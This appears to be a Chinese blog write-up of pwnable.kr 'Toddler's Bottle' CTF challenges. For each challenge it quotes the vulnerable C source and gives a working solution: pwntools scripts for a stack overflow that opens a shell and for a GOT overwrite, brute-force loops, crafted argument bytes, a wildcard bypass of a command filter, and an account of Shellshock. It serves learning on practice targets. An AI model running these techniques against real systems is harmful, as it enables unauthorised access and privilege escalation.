HackPluto's Blog

pwnable.kr WriteUp

字数统计: 4.4k阅读时长: 20 min
2020/04/14 Share

在网上发现了一个pwn的题库,页面非常的可爱,所以就做了下,在这里记录下做题的过程。
题目网址是:http://pwnable.kr/play.php
页面是不是非常可爱

Toddler’s Bottle

fd

首先是第一题,和文件描述符有关

文件描述符

Linux 系统中,把一切都看做是文件,当进程打开现有文件或创建新文件时,内核向进程返回一个文件描述符,文件描述符就是内核为了高效管理已被打开的文件所创建的索引,用来指向被打开的文件,所有执行I/O操作的系统调用都会通过文件描述符。

特点

  • 每个文件描述符会与一个打开的文件相对应
  • 不同的文件描述符也可能指向同一个文件
  • 相同的文件可以被不同的进程打开,也可以在同一个进程被多次打开

系统为维护文件描述符,建立了三个表


查看flag文件发现没有权限

查看C源文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;

}

read函数

1
ssize_t read(int fd, void * buf, size_t count);

其中第一个参数fd,就是文件描述符,如果是0的话,就表示从键盘输入
Atoi接收的参数我们可以控制,只要令argv[1]为0x1234(argv[0]为程序名称,argv[1]为输入参数),0x1234十进制为4660,经过运算最后赋值给fd的就是0,然后再传入read(),由于fd为0,所以我们在命令行中输入什么,则在buffer中写入的就是什么,只要输入LETMEWIN就可以了

collision

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}

int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}

if(hashcode == check_password( argv[1] )){
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}

这个题代码很简单,注意点是两个:

  • 输入长度必须刚好20字节
  • 小端序输入

就是输入一个20字节的字符串,然后转换成int类型数据,4个字节一个数,把这五个数加起来刚好等于hashcode就好
那就按着题目大意来

先把a,b求出来
然后在对程序进行输入的时候需要注意,我们怎么把这个20字节的字符串输入呢,因为很多是不可见字符靠键盘输入是不行的,这里介绍一个Linux shell的特殊符号: ` 就是Tab键上面那个符号,Linux shell对 ` 符号包裹起来的字符串会当作命令去执行,这样我们就可以python的输出作为这个程序的参数

1
./col `python -c 'print "\xc8\xce\xc5\x06" * 4 + "\xcc\xce\xc5\x06"'`

bof

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}

简单的栈溢出


计算一下溢出点到ebp+0x8的距离
写出payload

1
2
3
4
5
6
7
8
from pwn import *

sh = remote('pwnable.kr',9000)

payload = flat(["A"*0x34,0xcafebabe])
sh.sendline(payload)

sh.interactive()

flag

首先去IDA里反汇编发现解析不了符号表,所以猜测程序进行了加壳,使用Linux的strings命令查看二进制文件的字符串,发现了UPX,所以这是一个UPX壳

UPX的脱壳工具
进行脱壳后如下:

重新反汇编,可以正常解析
进行GDB调试的时候发现了一个注释是flag


打印出这个地址

passcode

先看一下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>

void login(){
int passcode1;
int passcode2;

printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);

// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);

printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}

void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}

int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");

welcome();
login();

// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}

明显这两句是有问题的

1
2
scanf("%d", passcode1);
scanf("%d", passcode2);

因为scanf要求传入的是一个指针,这里传入的是一个int型变量,结果调试的时候发现变量里的值竟然还是合法地址,那么怎么利用呢,这个题是没有溢出的
利用的地方就是welcome函数
这里的输入在栈上,而welcome和login用的是栈基本是一个地方,所以我们可以通过提前在栈上将passcode1,2的地址上填充自己的地址,这样就可以让scanf函数正常工作,但是调试的时候发现

1
2
3
name数组首地址是 0xffffce18
passcode1 0xffffce78
passcode2 0xffffce7c

而name数组最多填充到0xffffce7c,所以passcode2我们是覆盖不到的,这个时候可以通过劫持GOT表,因为我们可以填充passcode1的地址,再进行scanf相当于一个任意地址写,所以我们可以将一个函数的GOT地址内容改为system(“/bin/cat flag”);的地址

最终我们选择的是flush函数
EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

s = ssh('passcode', 'pwnable.kr', 2222, 'guest')
p = s.process('./passcode')

def Sendline(s):
p.sendline(s)
print s
sleep(0.5)

print p.read(),
exp_buf = 'a' * 96 + '\x18\xa0\x04\x08'
Sendline(exp_buf)

print p.read(),
payload = str(0x080485e3)
Sendline(payload)

print p.read(),
Sendline('1234')

recv = p.readall()
recv = recv.replace('\xa0', '')
print recv

random

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>

int main(){
unsigned int random;
random = rand(); // random value!

unsigned int key=0;
scanf("%d", &key);

if( (key ^ random) == 0xdeadbeef ){
printf("Good!\n");
system("/bin/cat flag");
return 0;
}

printf("Wrong, maybe you should try 2^32 cases.\n");
return 0;
}

这里介绍一下Linux的random函数
random函数需要设置一个种子函数,如果种子函数一样每次的随机数都是一样的,这个题的没有设置种子函数所以我们在本地运行这个程序会得到一样的随机数

直接按照题目意思编写脚本
EXP:

1
2
3
4
5
6
7
8
9
from pwn import *

s = ssh('random', 'pwnable.kr', 2222, 'guest')
p = s.process('./random')

a = int(0xdeadbeef ^ 0x6b8b4567)
p.sendline(str(a))
flag = p.recv()
print flag

input

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main(int argc, char* argv[], char* envp[]){
printf("Welcome to pwnable.kr\n");
printf("Let's see if you know how to give input to program\n");
printf("Just give me correct inputs then you will get the flag :)\n");

// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");

// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");

// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");

// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");

// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");

// here's your flag
system("/bin/cat flag");
return 0;
}

argv

第一个输入是关于argv的输入,argv就是程序在命令行的程序参数,可以直接编写相应的脚本

1
2
3
4
5
6
7
8
#argv
argv = []
for i in range(100):
argv.append('')

argv[0] = "/home/input2/input"
argv['A'] = "\x00"
argv['B'] = "\x20\x0a\x0d"

stdio

stdio就是Linux的标准输入输出,这里需要解释一下read函数的参数,第一个参数是0代表从标准输入就是键盘输入,2的话代表从stderr输入

1
2
python -c 'print "\x00\x0a\x00\xff"' > /tmp/lulz/stdin
python -c 'print "\x00\x0a\x02\xff"' > /tmp/lulz/stderr

env

getenv()就是C获取linux系统环境变量的方法,所以这个地方我们只要给进程添加相应的环境变量即可

file

创建对应的文件,写入内容即可

1
python -c 'fd = open("/tmp/lulz/"+"\x0a", "w"); fd.write("\x00\x00\x00\x00"); fd.close()'

network

leg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <stdio.h>
#include <fcntl.h>
int key1(){
asm("mov r3, pc\n");
}
int key2(){
asm(
"push {r6}\n"
"add r6, pc, $1\n"
"bx r6\n"
".code 16\n"
"mov r3, pc\n"
"add r3, $0x4\n"
"push {r3}\n"
"pop {pc}\n"
".code 32\n"
"pop {r6}\n"
);
}
int key3(){
asm("mov r3, lr\n");
}
int main(){
int key=0;
printf("Daddy has very strong arm! : ");
scanf("%d", &key);
if( (key1()+key2()+key3()) == key ){
printf("Congratz!\n");
int fd = open("flag", O_RDONLY);
char buf[100];
int r = read(fd, buf, 100);
write(0, buf, r);
}
else{
printf("I have strong leg :P\n");
}
return 0;
}

看了源码后知道这个题与汇编有关
这个题目中说了和ARM有关
这前我也没有学过ARM,所以花了半个小时通过这个教程入门了下,和X86很多相似的地方,做这个题够了
这个题就是将三个函数的返回值相加再比较
ARM中函数返回值在R0寄存器中

1
2
3
4
5
6
7
8
9
10
(gdb) disass key1
Dump of assembler code for function key1:
0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cd8 <+4>: add r11, sp, #0
0x00008cdc <+8>: mov r3, pc
0x00008ce0 <+12>: mov r0, r3
0x00008ce4 <+16>: sub sp, r11, #0
0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008cec <+24>: bx lr
End of assembler dump.

R0 = R3 = PC
在ARM模式下,PC会提前预取两条指令所以执行
mov r3, pc 时PC为 0x00008cdc + 8 = 0x00008ce4
R0 = 0x00008ce4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
(gdb) disass key2
Dump of assembler code for function key2:
0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cf4 <+4>: add r11, sp, #0
0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!)
0x00008cfc <+12>: add r6, pc, #1
0x00008d00 <+16>: bx r6
0x00008d04 <+20>: mov r3, pc
0x00008d06 <+22>: adds r3, #4
0x00008d08 <+24>: push {r3}
0x00008d0a <+26>: pop {pc}
0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4)
0x00008d10 <+32>: mov r0, r3
0x00008d14 <+36>: sub sp, r11, #0
0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d1c <+44>: bx lr
End of assembler dump.

add r6, pc, #1 R6 = PC + 1 = 0x00008cfc + 8 + 1 = 0x00008d01
bx r6 bx指令用于切换处理器状态模式,最低位为1时,切换到Thumb指令执行,为0时,解释为ARM指令执行。所以这个地方程序会切换成Thumb模式

Thumb

Thumb 指令可以看作是 ARM 指令压缩形式的子集,是针对代码密度的问题而提出的,它具有 16 位的代码密度但是它不如ARM指令的效率高 .Thumb 不是一个完整的体系结构,不能指望处理只执行Thumb 指令而不支持 ARM 指令集.因此,Thumb 指令只需要支持通用功能,必要时可以借助于完善的 ARM 指令集。每次PC只预取一条指令

mov r3, pc 后 R3 = 0x00008d04 + 4 = 0x00008d08
adds r3, #4 R3 = R3 + 4 = 0x00008d0c
mov r0, r3
R0 = 0x00008d0c

1
2
3
4
5
6
7
8
9
10
(gdb) disass key3
Dump of assembler code for function key3:
0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008d24 <+4>: add r11, sp, #0
0x00008d28 <+8>: mov r3, lr
0x00008d2c <+12>: mov r0, r3
0x00008d30 <+16>: sub sp, r11, #0
0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d38 <+24>: bx lr
End of assembler dump.

mov r3, lr LR寄存器:连接寄存器r14(LR):每种模式下r14都有自身版组,当程序正常时保存子程序返回地址 所以这个地方保存的是main函数的下一跳指令的地址 在main函数中可以找到如下指令

1
2
0x00008d7c <+64>:	bl	0x8d20 <key3>
0x00008d80 <+68>: mov r3, r0

R0 = R3 = LR = 0x00008d80
key = 108400

mistake

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <stdio.h>
#include <fcntl.h>

#define PW_LEN 10
#define XORKEY 1

void xor(char* s, int len){
int i;
for(i=0; i<len; i++){
s[i] ^= XORKEY;
}
}

int main(int argc, char* argv[]){

int fd;
if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
printf("can't open password %d\n", fd);
return 0;
}

printf("do not bruteforce...\n");
sleep(time(0)%20);

char pw_buf[PW_LEN+1];
int len;
if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
printf("read error\n");
close(fd);
return 0;
}

char pw_buf2[PW_LEN+1];
printf("input password : ");
scanf("%10s", pw_buf2);

// xor your input
xor(pw_buf2, 10);

if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
printf("Password OK\n");
system("/bin/cat flag\n");
}
else{
printf("Wrong Password\n");
}

close(fd);
return 0;
}

这个程序的漏洞在

1
2
3
4
if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
printf("can't open password %d\n", fd);
return 0;
}

这个地方程序的优先级出现了问题
具体优先级参考下表

所以那个if实际上是先做了判断再赋值,所以fd=0,所以后面的密码实际是我们自己输入了

shellshock

1
2
3
4
5
6
7
#include <stdio.h>
int main(){
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
system("/home/shellshock/bash -c 'echo shock_me'");
return 0;
}

这里要介绍一下Linux shellshock漏洞,也就是CVE-2014-6271 中文名:破壳的漏洞
先看下env函数的man 手册

env命令就是在运行command的时候将name对应的变量设置成value,也就是在运行一个程序的时候设置好他的环境变量,这个漏洞就出现在name=value的部分
漏洞原理:

bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。核心的原因在于在输入的过滤中没有严格限制边界,没有做合法化的参数判断

也就是说我们本来应该应该给name设置一个value的结果value里的指令被执行了
先看看这个题的权限


字母d 的含义是这是一个目录
r w x就是 读,写,执行的权限
s 是比较特殊,这个也是Linux的文件特权指令
s权限: 设置使文件在执行阶段具有文件所有者的权限,相当于临时拥有文件所有者的身份. 典型的文件是passwd. 如果一般用户执行该文件, 则在执行过程中, 该文件可以获得root权限, 从而可以更改用户的密码.

1
2
ls -al /usr/bin/passwd
-rwsr-xr-x 1 pythontab pythontab 32988 2018-03-16 14:25 /usr/bin/passwd

所以这个题里面shellshock文件有s权限,所以运行之后就会获得root权限,也就获得了读取flag的权限
参考网上CVE-2014-6271的POC:

这里可能有人会疑惑是先执行env里的语句还是执行后面的shellshock,肯定是先执行sehllshock,在执行这个的过程中再调用env里的语句,最后得到flag

blackjack

哇。。。这个题源码怎么这么长。。。。
我之前还不知道21点怎么完,看这个源码真的爆炸。。。。 先说下这个规则吧

1.这是玩家和庄家之间的对弈类游戏,使用纸牌0-9,J,Q,K,A 分别代表数字0-9,10,12,13,11。A(Ace)也可以代表数字1。
2.初始双方各得到一张牌,双方可以选择 Hit or Stay,Hit 则得到一张牌,Stay则保持不动。
3.以21为界限,一旦一方牌面数字之和超过21,则“爆破”,这一方就输了这一局。
4.如果双方都Stay切牌面之和不超过21,大的获胜。
5.庄家每一局的牌面之和必须大于等于17。
6.任意一方一开始的两张牌若为 J 和 A ,就代表 Blackjack,直接获胜。

这个题让赢够100万,靠手玩是不可能赢得,我们又不是卢本伟对吧,所以只能去找源码中的漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int betting() //Asks user amount to bet
{
printf("\n\nEnter Bet: $");
scanf("%d", &bet);

if (bet > cash) //If player tries to bet more money than player has
{
printf("\nYou cannot bet more money than you have.");
printf("\nEnter Bet: ");
scanf("%d", &bet); //这里居然没有进行重新输入的验证
return bet;
}
else return bet;
} // End Function

漏洞点在这个地方,题目只会比较一次输入的赌金合不合法,所以我们如果在这里输入两次,第二次输入100万,那么只要赢一场就可以拿到flag

lotto

1
2
3
4
5
6
7
for(i=0; i<6; i++){
for(j=0; j<6; j++){
if(lotto[i] == submit[j]){
match++;
}
}
}

漏洞点在这个地方,双重循环逻辑是错的,只要我们可以满足有一位等于其中的某一位,就可以使match达到6,写好脚本遍历就好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

s = process('./lotto')
s.recv()
for i in range(0x20,0x30):
s.sendline('1')
s.sendline(chr(i)*6)
s.recvuntil('Lotto Start!\n')
data = s.recv(1024)
if "bad" not in data:
print data
break
s.recvuntil('Exit\n')
print "error"

因为题目中可以输入的都是可见字符,所以遍历可见字符就好
截屏2020-03-13下午10.18.43

cmd1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <string.h>

int filter(char* cmd){
int r=0;
r += strstr(cmd, "flag")!=0;
r += strstr(cmd, "sh")!=0;
r += strstr(cmd, "tmp")!=0;
return r;
}
int main(int argc, char* argv[], char** envp){
putenv("PATH=/thankyouverymuch");
if(filter(argv[1])) return 0;
system( argv[1] );
return 0;
}

putenv(“PATH=/thankyouverymuch”); 的作用是不让我们直接去输入命令,只能使用/bin/cat
题目对flag等进行了过滤但是我们可以使用通配符绕过

1
2
cmd1@ubuntu:~$ ./cmd1 "/bin/cat fla?"
mommy now I get what PATH environment is for :)

https://github.com/DoubleLabyrinth/pwnable.kr/tree/master/Toddler's%20Bottle/cmd1

CATALOG
  1. 1. Toddler’s Bottle
    1. 1.1. fd
      1. 1.1.1. 文件描述符
        1. 1.1.1.1. 特点
    2. 1.2. collision
    3. 1.3. bof
    4. 1.4. flag
    5. 1.5. passcode
    6. 1.6. random
    7. 1.7. input
      1. 1.7.1. argv
      2. 1.7.2. stdio
      3. 1.7.3. env
      4. 1.7.4. file
      5. 1.7.5. network
    8. 1.8. leg
      1. 1.8.1. Thumb
    9. 1.9. mistake
    10. 1.10. shellshock
    11. 1.11. blackjack
    12. 1.12. lotto
    13. 1.13. cmd1